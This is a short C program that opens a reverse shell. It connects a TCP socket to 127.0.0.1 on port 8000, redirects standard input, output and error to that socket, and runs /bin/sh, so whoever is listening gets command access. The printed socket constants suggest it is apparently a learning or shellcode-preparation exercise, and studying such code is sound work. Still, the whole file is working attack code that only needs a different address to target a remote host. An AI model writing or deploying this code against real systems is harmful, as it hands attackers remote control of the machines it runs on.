#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

int main()
{
  //printing helpful info:
  printf("AF_INET: %d\n", AF_INET);
  printf("SOCK_STREAM: %d\n", SOCK_STREAM);
  printf("sizeof(sockaddr_in): %ld\n", sizeof(struct sockaddr_in));

  //create a socket
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);

  //connect to 127.0.0.1
  struct sockaddr_in server = {0};
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = inet_addr("127.0.0.1");
  server.sin_port = htons(8000);
  connect(sockfd, (struct sockaddr *)&server, sizeof(server));

  // set up redirections
  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  // launch a shell
  char* file = "/bin/sh";
  char* argv[2];
  argv[0] = file;
  argv[1] = 0;
  char** env = 0;
  execve(file, argv, env);

  return 0;
}